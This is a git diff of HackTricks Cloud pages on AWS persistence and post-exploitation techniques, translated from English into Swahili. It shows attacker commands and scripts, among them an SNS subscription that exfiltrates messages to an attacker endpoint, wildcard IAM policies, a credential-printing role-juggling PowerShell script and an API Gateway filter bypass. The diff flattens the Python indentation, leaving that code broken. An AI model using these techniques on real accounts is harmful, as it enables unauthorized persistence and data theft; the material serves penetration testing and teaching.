the encryption process is done the user will use the KMS API to generate a new key (`aws kms generate-data-key`) and he will **store the generated encrypted key inside the metadata** of the file ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) so when the decrypting occur it can decrypt it using KMS again: +Wakati mchakato wa usimbaji unakamilika, mtumiaji atatumia KMS API kutengeneza funguo mpya (`aws kms generate-data-key`) na at **hifadhi funguo iliyosimbwa iliyotengenezwa ndani ya metadata** ya faili ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) ili wakati usimbuaji unapotokea, inaweza kusimbua tena kwa kutumia KMS:
-Therefore, and attacker could get this key from the metadata and decrypt with KMS (`aws kms decrypt`) to obtain the key used to encrypt the information. This way the attacker will have the encryption key and if that key is reused to encrypt other files he will be able to use it. +Hivyo, mshambuliaji anaweza kupata funguo hii kutoka kwenye metadata na kusimbua kwa KMS (`aws kms decrypt`) ili kupata funguo iliyotumika kusimbua taarifa. Kwa njia hii, mshambuliaji atakuwa na funguo ya usimbaji na ikiwa funguo hiyo itatumika tena kusimbua faili nyingine, ataweza kuitumia. ### Using S3 ACLs -Although usually ACLs of buckets are disabled, an attacker with enough privileges could abuse them (if enabled or if the attacker can enable them) to keep access to the S3 bucket. +Ingawa kawaida ACLs za ndoo zimezimwa, mshambuliaji mwenye ruhusa za kutosha anaweza kuzitumia vibaya (ikiwa zimewezeshwa au ikiwa mshambuliaji anaweza kuzihamisha) ili kuendelea kupata ufikiaji wa ndoo ya S3. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md index c15f27003..cbc87c93e 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md @@ -1,57 +1,51 @@ -# AWS - Secrets Manager Persistence +# AWS - Usimamizi wa Siri {{#include ../../../banners/hacktricks-training.md}} -## Secrets Manager +## Usimamizi wa Siri -For more info check: +Kwa maelezo zaidi angalia: {{#ref}} ../aws-services/aws-secrets-manager-enum.md {{#endref}} -### Via Resource Policies +### Kupitia Sera za Rasilimali -It's possible to **grant access to secrets to external accounts** via resource policies. Check the [**Secrets Manager Privesc page**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) for more information. Note that to **access a secret**, the external account will also **need access to the KMS key encrypting the secret**. +Inawezekana **kutoa ufikiaji wa siri kwa akaunti za nje** kupitia sera za rasilimali. Angalia [**ukurasa wa Privesc wa Usimamizi wa Siri**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) kwa maelezo zaidi. Kumbuka kwamba ili **kufikia siri**, akaunti ya nje pia itahitaji **ufikiaji wa funguo za KMS zinazoficha siri**. -### Via Secrets Rotate Lambda +### Kupitia Lambda ya Kugeuza Siri -To **rotate secrets** automatically a configured **Lambda** is called. If an attacker could **change** the **code** he could directly **exfiltrate the new secret** to himself. - -This is how lambda code for such action could look like: +Ili **kugeuza siri** kiotomatiki, **Lambda** iliyowekwa inaitwa. Ikiwa mshambuliaji angeweza **kubadilisha** **kanuni** angeweza moja kwa moja **kuhamasisha siri mpya** kwake mwenyewe. +Hii ndiyo jinsi kanuni ya lambda kwa hatua kama hiyo inaweza kuonekana: ```python import boto3 def rotate_secrets(event, context): - # Create a Secrets Manager client - client = boto3.client('secretsmanager') +# Create a Secrets Manager client +client = boto3.client('secretsmanager') - # Retrieve the current secret value - secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString'] +# Retrieve the current secret value +secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString'] - # Rotate the secret by updating its value - new_secret_value = rotate_secret(secret_value) - client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value) +# Rotate the secret by updating its value +new_secret_value = rotate_secret(secret_value) +client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value) def rotate_secret(secret_value): - # Perform the rotation logic here, e.g., generate a new password +# Perform the rotation logic here, e.g., generate a new password - # Example: Generate a new password - new_secret_value = generate_password() +# Example: Generate a new password +new_secret_value = generate_password() - return new_secret_value +return new_secret_value def generate_password(): - # Example: Generate a random password using the secrets module - import secrets - import string - password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16)) - return password +# Example: Generate a random password using the secrets module +import secrets +import string +password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16)) +return password ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md index 8e97cc81c..d5e87937f 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md @@ -4,7 +4,7 @@ ## SNS -For more information check: +Kwa maelezo zaidi angalia: {{#ref}} ../aws-services/aws-sns-enum.md @@ -12,74 +12,66 @@ For more information check: ### Persistence -When creating a **SNS topic** you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\ -The following policy gives everyone in AWS access to read and write in the SNS topic called **`MySNS.fifo`**: - +Unapounda **SNS topic** unahitaji kuonyesha kwa sera ya IAM **nani ana ruhusa ya kusoma na kuandika**. Inawezekana kuonyesha akaunti za nje, ARN za majukumu, au **hata "\*"**.\ +Sera ifuatayo inawapa kila mtu katika AWS ruhusa ya kusoma na kuandika katika SNS topic inayoitwa **`MySNS.fifo`**: ```json { - "Version": "2008-10-17", - "Id": "__default_policy_ID", - "Statement": [ - { - "Sid": "__default_statement_ID", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": [ - "SNS:Publish", - "SNS:RemovePermission", - "SNS:SetTopicAttributes", - "SNS:DeleteTopic", - "SNS:ListSubscriptionsByTopic", - "SNS:GetTopicAttributes", - "SNS:AddPermission", - "SNS:Subscribe" - ], - "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo", - "Condition": { - "StringEquals": { - "AWS:SourceOwner": "318142138553" - } - } - }, - { - "Sid": "__console_pub_0", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": "SNS:Publish", - "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" - }, - { - "Sid": "__console_sub_0", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": "SNS:Subscribe", - "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" - } - ] +"Version": "2008-10-17", +"Id": "__default_policy_ID", +"Statement": [ +{ +"Sid": "__default_statement_ID", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": [ +"SNS:Publish", +"SNS:RemovePermission", +"SNS:SetTopicAttributes", +"SNS:DeleteTopic", +"SNS:ListSubscriptionsByTopic", +"SNS:GetTopicAttributes", +"SNS:AddPermission", +"SNS:Subscribe" +], +"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo", +"Condition": { +"StringEquals": { +"AWS:SourceOwner": "318142138553" +} +} +}, +{ +"Sid": "__console_pub_0", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "SNS:Publish", +"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" +}, +{ +"Sid": "__console_sub_0", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "SNS:Subscribe", +"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" +} +] } ``` - ### Create Subscribers -To continue exfiltrating all the messages from all the topics and attacker could **create subscribers for all the topics**. - -Note that if the **topic is of type FIFO**, only subscribers using the protocol **SQS** can be used. +Ili kuendelea kutoa ujumbe wote kutoka kwa mada zote, mshambuliaji anaweza **kuunda wanachama kwa mada zote**. +Kumbuka kwamba ikiwa **mada ni ya aina ya FIFO**, ni wanachama pekee wanaotumia itifaki **SQS** wanaweza kutumika. ```bash aws sns subscribe --region \ - --protocol http \ - --notification-endpoint http:/// \ - --topic-arn +--protocol http \ +--notification-endpoint http:/// \ +--topic-arn ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md index 88f396173..5b3cd8808 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md @@ -4,40 +4,34 @@ ## SQS -For more information check: +Kwa maelezo zaidi angalia: {{#ref}} ../aws-services/aws-sqs-and-sns-enum.md {{#endref}} -### Using resource policy - -In SQS you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\ -The following policy gives everyone in AWS access to everything in the queue called **MyTestQueue**: +### Kutumia sera ya rasilimali +Katika SQS unahitaji kuonyesha kwa sera ya IAM **nani ana ufikiaji wa kusoma na kuandika**. Inawezekana kuonyesha akaunti za nje, ARN za majukumu, au **hata "\*"**.\ +Sera ifuatayo inawapa kila mtu katika AWS ufikiaji wa kila kitu katika foleni inayoitwa **MyTestQueue**: ```json { - "Version": "2008-10-17", - "Id": "__default_policy_ID", - "Statement": [ - { - "Sid": "__owner_statement", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": ["SQS:*"], - "Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue" - } - ] +"Version": "2008-10-17", +"Id": "__default_policy_ID", +"Statement": [ +{ +"Sid": "__owner_statement", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": ["SQS:*"], +"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue" +} +] } ``` - > [!NOTE] -> You could even **trigger a Lambda in the attackers account every-time a new message** is put in the queue (you would need to re-put it) somehow. For this follow these instructinos: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html) +> Unaweza hata **kuanzisha Lambda katika akaunti ya washambuliaji kila wakati ujumbe mpya** unapoingizwa kwenye foleni (utahitaji kuingiza tena) kwa njia fulani. Kwa hili fuata maelekezo haya: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md index c1b9a422b..3bd0aae28 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md @@ -1,6 +1 @@ # AWS - SSM Perssitence - - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md index 4e8c120ff..2c13b3e37 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md @@ -4,22 +4,18 @@ ## Step Functions -For more information check: +Kwa maelezo zaidi angalia: {{#ref}} ../aws-services/aws-stepfunctions-enum.md {{#endref}} -### Step function Backdooring +### Backdooring ya Step Function -Backdoor a step function to make it perform any persistence trick so every time it's executed it will run your malicious steps. +Backdoor step function ili iweze kufanya ujanja wowote wa kudumu hivyo kila wakati inatekelezwa itatekeleza hatua zako za uhalifu. -### Backdooring aliases +### Backdooring ya majina -If the AWS account is using aliases to call step functions it would be possible to modify an alias to use a new backdoored version of the step function. +Ikiwa akaunti ya AWS inatumia majina kuita step functions, itakuwa inawezekana kubadilisha jina ili kutumia toleo jipya lililo na backdoor la step function. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md index 74db04bec..9ae86b56e 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md @@ -4,62 +4,59 @@ ## STS -For more information access: +Kwa maelezo zaidi tembelea: {{#ref}} ../aws-services/aws-sts-enum.md {{#endref}} -### Assume role token +### Token ya kuzingatia jukumu -Temporary tokens cannot be listed, so maintaining an active temporary token is a way to maintain persistence. +Token za muda mfupi haziwezi kuorodheshwa, hivyo kudumisha token ya muda mfupi iliyo hai ni njia ya kudumisha uvumilivu. 
aws sts get-session-token --duration-seconds 129600
 
-# With MFA
+# Pamoja na MFA
 aws sts get-session-token \
-    --serial-number <mfa-device-name> \
-    --token-code <code-from-token>
+--serial-number <mfa-device-name> \
+--token-code <code-from-token>
 
-# Hardware device name is usually the number from the back of the device, such as GAHT12345678
-# SMS device name is the ARN in AWS, such as arn:aws:iam::123456789012:sms-mfa/username
-# Vritual device name is the ARN in AWS, such as arn:aws:iam::123456789012:mfa/username
+# Jina la kifaa cha vifaa mara nyingi ni nambari kutoka nyuma ya kifaa, kama GAHT12345678
+# Jina la kifaa cha SMS ni ARN katika AWS, kama arn:aws:iam::123456789012:sms-mfa/username
+# Jina la kifaa cha Kijamii ni ARN katika AWS, kama arn:aws:iam::123456789012:mfa/username
-### Role Chain Juggling +### Kucheza Mnyororo wa Jukumu -[**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), often utilized for maintaining stealth persistence. It involves the ability to **assume a role which then assumes another**, potentially reverting to the initial role in a **cyclical manner**. Each time a role is assumed, the credentials' expiration field is refreshed. Consequently, if two roles are configured to mutually assume each other, this setup allows for the perpetual renewal of credentials. - -You can use this [**tool**](https://github.com/hotnops/AWSRoleJuggler/) to keep the role chaining going: +[**Kucheza mnyororo wa jukumu ni kipengele kinachotambulika cha AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), mara nyingi hutumiwa kudumisha uvumilivu wa siri. Inahusisha uwezo wa **kuchukua jukumu ambalo kisha linachukua jingine**, huenda ikarejea kwenye jukumu la awali kwa **njia ya mzunguko**. Kila wakati jukumu linapochukuliwa, uwanja wa muda wa kuisha wa ithibati unarefresh. Kwa hivyo, ikiwa majukumu mawili yamewekwa ili kuchukua kila mmoja, mpangilio huu unaruhusu upya wa kudumu wa ithibati. +Unaweza kutumia [**chombo hiki**](https://github.com/hotnops/AWSRoleJuggler/) kudumisha mnyororo wa jukumu: ```bash ./aws_role_juggler.py -h usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]] optional arguments: - -h, --help show this help message and exit - -r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...] +-h, --help show this help message and exit +-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...] ``` - > [!CAUTION] -> Note that the [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) script from that Github repository doesn't find all the ways a role chain can be configured. +> Kumbuka kwamba skripti ya [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) kutoka kwenye hifadhi hiyo ya Github haipati njia zote ambazo mnyororo wa jukumu unaweza kuundwa.
Code to perform Role Juggling from PowerShell - ```powershell # PowerShell script to check for role juggling possibilities using AWS CLI # Check for AWS CLI installation if (-not (Get-Command "aws" -ErrorAction SilentlyContinue)) { - Write-Error "AWS CLI is not installed. Please install it and configure it with 'aws configure'." - exit +Write-Error "AWS CLI is not installed. Please install it and configure it with 'aws configure'." +exit } # Function to list IAM roles function List-IAMRoles { - aws iam list-roles --query "Roles[*].{RoleName:RoleName, Arn:Arn}" --output json +aws iam list-roles --query "Roles[*].{RoleName:RoleName, Arn:Arn}" --output json } # Initialize error count @@ -70,66 +67,61 @@ $roles = List-IAMRoles | ConvertFrom-Json # Attempt to assume each role foreach ($role in $roles) { - $sessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime) - try { - $credentials = aws sts assume-role --role-arn $role.Arn --role-session-name $sessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json - if ($credentials) { - Write-Host "Successfully assumed role: $($role.RoleName)" - Write-Host "Access Key: $($credentials.AccessKeyId)" - Write-Host "Secret Access Key: $($credentials.SecretAccessKey)" - Write-Host "Session Token: $($credentials.SessionToken)" - Write-Host "Expiration: $($credentials.Expiration)" +$sessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime) +try { +$credentials = aws sts assume-role --role-arn $role.Arn --role-session-name $sessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json +if ($credentials) { +Write-Host "Successfully assumed role: $($role.RoleName)" +Write-Host "Access Key: $($credentials.AccessKeyId)" +Write-Host "Secret Access Key: $($credentials.SecretAccessKey)" +Write-Host "Session Token: $($credentials.SessionToken)" +Write-Host "Expiration: $($credentials.Expiration)" - # Set temporary credentials to assume the next role - $env:AWS_ACCESS_KEY_ID = $credentials.AccessKeyId - $env:AWS_SECRET_ACCESS_KEY = $credentials.SecretAccessKey - $env:AWS_SESSION_TOKEN = $credentials.SessionToken +# Set temporary credentials to assume the next role +$env:AWS_ACCESS_KEY_ID = $credentials.AccessKeyId +$env:AWS_SECRET_ACCESS_KEY = $credentials.SecretAccessKey +$env:AWS_SESSION_TOKEN = $credentials.SessionToken - # Try to assume another role using the temporary credentials - foreach ($nextRole in $roles) { - if ($nextRole.Arn -ne $role.Arn) { - $nextSessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime) - try { - $nextCredentials = aws sts assume-role --role-arn $nextRole.Arn --role-session-name $nextSessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json - if ($nextCredentials) { - Write-Host "Also successfully assumed role: $($nextRole.RoleName) from $($role.RoleName)" - Write-Host "Access Key: $($nextCredentials.AccessKeyId)" - Write-Host "Secret Access Key: $($nextCredentials.SecretAccessKey)" - Write-Host "Session Token: $($nextCredentials.SessionToken)" - Write-Host "Expiration: $($nextCredentials.Expiration)" - } - } catch { - $errorCount++ - } - } - } +# Try to assume another role using the temporary credentials +foreach ($nextRole in $roles) { +if ($nextRole.Arn -ne $role.Arn) { +$nextSessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime) +try { +$nextCredentials = aws sts assume-role --role-arn $nextRole.Arn --role-session-name $nextSessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json +if ($nextCredentials) { +Write-Host "Also successfully assumed role: $($nextRole.RoleName) from $($role.RoleName)" +Write-Host "Access Key: $($nextCredentials.AccessKeyId)" +Write-Host "Secret Access Key: $($nextCredentials.SecretAccessKey)" +Write-Host "Session Token: $($nextCredentials.SessionToken)" +Write-Host "Expiration: $($nextCredentials.Expiration)" +} +} catch { +$errorCount++ +} +} +} - # Reset environment variables - Remove-Item Env:\AWS_ACCESS_KEY_ID - Remove-Item Env:\AWS_SECRET_ACCESS_KEY - Remove-Item Env:\AWS_SESSION_TOKEN - } else { - $errorCount++ - } - } catch { - $errorCount++ - } +# Reset environment variables +Remove-Item Env:\AWS_ACCESS_KEY_ID +Remove-Item Env:\AWS_SECRET_ACCESS_KEY +Remove-Item Env:\AWS_SESSION_TOKEN +} else { +$errorCount++ +} +} catch { +$errorCount++ +} } # Output the number of errors if any if ($errorCount -gt 0) { - Write-Host "$errorCount error(s) occurred during role assumption attempts." +Write-Host "$errorCount error(s) occurred during role assumption attempts." } else { - Write-Host "No errors occurred. All roles checked successfully." +Write-Host "No errors occurred. All roles checked successfully." } Write-Host "Role juggling check complete." ``` -
{{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md index 53f79d916..a63b28b33 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md @@ -1,6 +1 @@ -# AWS - Post Exploitation - - - - - +# AWS - Baada ya Kutumia diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md index 4847c40e0..c9a1e15a3 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md @@ -4,48 +4,43 @@ ## API Gateway -For more information check: +Kwa maelezo zaidi angalia: {{#ref}} ../aws-services/aws-api-gateway-enum.md {{#endref}} -### Access unexposed APIs +### Upataji wa APIs zisizo wazi -You can create an endpoint in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) with the service `com.amazonaws.us-east-1.execute-api`, expose the endpoint in a network where you have access (potentially via an EC2 machine) and assign a security group allowing all connections.\ -Then, from the EC2 machine you will be able to access the endpoint and therefore call the gateway API that wasn't exposed before. +Unaweza kuunda kiunganishi katika [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) na huduma `com.amazonaws.us-east-1.execute-api`, funua kiunganishi katika mtandao ambapo una ufikiaji (labda kupitia mashine ya EC2) na piga kundi la usalama linaloruhusu mawasiliano yote.\ +Kisha, kutoka kwa mashine ya EC2 utaweza kufikia kiunganishi na hivyo kuita API ya gateway ambayo haikuwa wazi hapo awali. -### Bypass Request body passthrough +### Kupita kupitia mwili wa Ombi -This technique was found in [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp). +Teknolojia hii ilipatikana katika [**hii CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp). -As indicated in the [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) in the `PassthroughBehavior` section, by default, the value **`WHEN_NO_MATCH`** , when checking the **Content-Type** header of the request, will pass the request to the back end with no transformation. - -Therefore, in the CTF the API Gateway had an integration template that was **preventing the flag from being exfiltrated** in a response when a request was sent with `Content-Type: application/json`: +Kama ilivyoonyeshwa katika [**nyaraka za AWS**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) katika sehemu ya `PassthroughBehavior`, kwa default, thamani **`WHEN_NO_MATCH`**, wakati wa kuangalia kichwa cha **Content-Type** cha ombi, itapitisha ombi kwa nyuma bila mabadiliko. +Hivyo, katika CTF, API Gateway ilikuwa na kiolezo cha uunganisho ambacho kilikuwa **kikizuia bendera kutolewa** katika jibu wakati ombi lilitumwa na `Content-Type: application/json`: ```yaml RequestTemplates: - application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}' +application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}' ``` +Hata hivyo, kutuma ombi lenye **`Content-type: text/json`** kungesitisha chujio hicho. -However, sending a request with **`Content-type: text/json`** would prevent that filter. - -Finally, as the API Gateway was only allowing `Get` and `Options`, it was possible to send an arbitrary dynamoDB query without any limit sending a POST request with the query in the body and using the header `X-HTTP-Method-Override: GET`: - +Hatimaye, kwa kuwa API Gateway ilikuwa ikiruhusu tu `Get` na `Options`, ilikuwa inawezekana kutuma uchunguzi wa dynamoDB bila kikomo kwa kutuma ombi la POST lenye uchunguzi katika mwili na kutumia kichwa `X-HTTP-Method-Override: GET`: ```bash curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}' ``` - ### Usage Plans DoS -In the **Enumeration** section you can see how to **obtain the usage plan** of the keys. If you have the key and it's **limited** to X usages **per month**, you could **just use it and cause a DoS**. +Katika sehemu ya **Enumeration** unaweza kuona jinsi ya **kupata mpango wa matumizi** wa funguo. Ikiwa una funguo na ime **punguzia** matumizi X **kwa mwezi**, unaweza **kuitumia tu na kusababisha DoS**. -The **API Key** just need to be **included** inside a **HTTP header** called **`x-api-key`**. +**API Key** inahitaji tu **kujumuishwa** ndani ya **HTTP header** inayoitwa **`x-api-key`**. ### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment` -An attacker with the permissions `apigateway:UpdateGatewayResponse` and `apigateway:CreateDeployment` can **modify an existing Gateway Response to include custom headers or response templates that leak sensitive information or execute malicious scripts**. - +Mshambuliaji mwenye ruhusa `apigateway:UpdateGatewayResponse` na `apigateway:CreateDeployment` anaweza **kubadilisha Jibu la Gateway lililopo ili kujumuisha vichwa vya habari vya kawaida au templeti za majibu ambazo zinavuja taarifa nyeti au kutekeleza scripts za uhalifu**. ```bash API_ID="your-api-id" RESPONSE_TYPE="DEFAULT_4XX" @@ -56,16 +51,14 @@ aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RE # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` - -**Potential Impact**: Leakage of sensitive information, executing malicious scripts, or unauthorized access to API resources. +**Madhara Yanayoweza Kutokea**: Kuvuja kwa taarifa nyeti, kutekeleza skripti zenye uharibifu, au ufikiaji usioidhinishwa wa rasilimali za API. > [!NOTE] -> Need testing +> Inahitaji kupimwa ### `apigateway:UpdateStage`, `apigateway:CreateDeployment` -An attacker with the permissions `apigateway:UpdateStage` and `apigateway:CreateDeployment` can **modify an existing API Gateway stage to redirect traffic to a different stage or change the caching settings to gain unauthorized access to cached data**. - +Mshambuliaji mwenye ruhusa `apigateway:UpdateStage` na `apigateway:CreateDeployment` anaweza **kubadilisha hatua ya API Gateway iliyopo ili kuelekeza trafiki kwenye hatua tofauti au kubadilisha mipangilio ya caching ili kupata ufikiaji usioidhinishwa wa data iliyohifadhiwa**. ```bash API_ID="your-api-id" STAGE_NAME="Prod" @@ -76,16 +69,14 @@ aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --pat # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` - -**Potential Impact**: Unauthorized access to cached data, disrupting or intercepting API traffic. +**Madhara Yanayoweza Kutokea**: Ufikiaji usioidhinishwa wa data iliyohifadhiwa, kuingilia au kuzuia trafiki ya API. > [!NOTE] -> Need testing +> Inahitaji kupimwa ### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment` -An attacker with the permissions `apigateway:PutMethodResponse` and `apigateway:CreateDeployment` can **modify the method response of an existing API Gateway REST API method to include custom headers or response templates that leak sensitive information or execute malicious scripts**. - +Mshambuliaji mwenye ruhusa `apigateway:PutMethodResponse` na `apigateway:CreateDeployment` anaweza **kubadilisha jibu la njia ya API Gateway REST API iliyopo ili kujumuisha vichwa vya habari vya kawaida au templeti za majibu ambazo zinavuja taarifa nyeti au kutekeleza scripts zenye uharibifu**. ```bash API_ID="your-api-id" RESOURCE_ID="your-resource-id" @@ -98,16 +89,14 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` - -**Potential Impact**: Leakage of sensitive information, executing malicious scripts, or unauthorized access to API resources. +**Madhara Yanayoweza Kutokea**: Kuvuja kwa taarifa nyeti, kutekeleza skripti zenye uharibifu, au ufikiaji usioidhinishwa wa rasilimali za API. > [!NOTE] -> Need testing +> Inahitaji kupimwa ### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment` -An attacker with the permissions `apigateway:UpdateRestApi` and `apigateway:CreateDeployment` can **modify the API Gateway REST API settings to disable logging or change the minimum TLS version, potentially weakening the security of the API**. - +Mshambuliaji mwenye ruhusa `apigateway:UpdateRestApi` na `apigateway:CreateDeployment` anaweza **kubadilisha mipangilio ya API Gateway REST API ili kuzima uandishi wa kumbukumbu au kubadilisha toleo la chini la TLS, ambayo inaweza kudhoofisha usalama wa API**. ```bash API_ID="your-api-id" @@ -117,16 +106,14 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` - -**Potential Impact**: Weakening the security of the API, potentially allowing unauthorized access or exposing sensitive information. +**Madhara Yanayoweza Kutokea**: Kupunguza usalama wa API, ambayo inaweza kuruhusu ufikiaji usioidhinishwa au kufichua taarifa nyeti. > [!NOTE] -> Need testing +> Inahitaji kupimwa ### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, 